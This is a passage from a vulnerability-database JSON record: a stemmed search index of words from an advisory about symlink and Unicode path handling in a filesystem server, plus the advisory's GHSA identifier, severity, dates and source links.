'l159':343C 'l159-l176':342C 'l176':344C 'l191':293C 'l256':264C 'l256-l258':263C 'l258':265C 'last':515C 'leav':570C 'left':333C 'letter':145C,391C 'lib.ts':262C,290C,341C,372C 'link':157C,161C,397C,411C,429C,431C 'link/a':406C,496C 'linux':198C 'ln2':458C,461C 'look':456C 'loop':354C 'maco':183C,211C 'map':383C 'match':160C,352C,366C,606C 'merg':528C 'miss':473C 'mkdir':425C 'move':123C 'name':142C,612C 'nest':550C 'never':455C 'new':215C,563C 'nfc':381C 'normal':379C 'noth':322C 'ntfs':187C 'one':285C,516C,581C 'open':427C 'os':174C,490C,620C 'outsid':110C,224C,593C 'parent':486C,519C 'pass':609C 'path':149C,168C,243C,246C,275C,284C,543C,564C 'path.join':337C 'point':133C,325C 'pr':499C,524C 'protect':226C 'q66q':585C 'rais':518C 'ran':482C 'reach':591C 'readdir':505C 'real':274C 'realpath':171C 'refus':232C,498C,561C 'regress':230C 'relativeparts.slice':339C 'replac':501C 'reproduc':195C 'request':137C,234C,242C,283C,404C,611C 'requestedpart':308C,318C 'resolv':335C,428C 'resolveunicodeequivalentpath':147C,261C 'rest':165C,540C 'result':360C 'return':163C,336C,414C,537C 'run':208C,355C 'server':100C 'server-filesystem':99C 'ship':554C 'space':385C 'spell':138C,463C,575C,608C 'start':271C 'stay':225C 'still':517C 'stop':451C 'string':155C,369C 'sub':453C 'sub/ln2':447C 'sub/ln2/x':445C 'suggest':601C 'summari':91C 'symlink':131C,140C,177C,332C,396C,443C,559C,567C,598C 'system':98C,424C 'test':560C 'though':460C 'time':289C 'tmpfs':204C 'top':530C 'ts':297C 'u':387C 'uncheck':416C,539C 'unicod':384C 'unicodematchkey':315C,317C,371C 'unmatch':509C 'use':572C 'validatepath':236C,257C,481C 'vari':435C 'walk':281C,450C,506C 'whatev':622C 'window':186C,213C 'without':169C 'write':117C 'yet':251C,327C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-10-25T00:18:21+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-4gxg-m5jx-9j57","url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-4gxg-m5jx-9j57","severity":"medium","published_at":"2026-10-25T00:18:21+00:00","modified_at":"2026-10-25T00:18:22+00:00","first_seen_at":"2026-11-09T22:53:25+00:00","fetched_at":"2026-11-09T22:53:25+00:00","note":null}],"documents":[{"id":110622,"url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-4gxg-m5jx-9j57","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}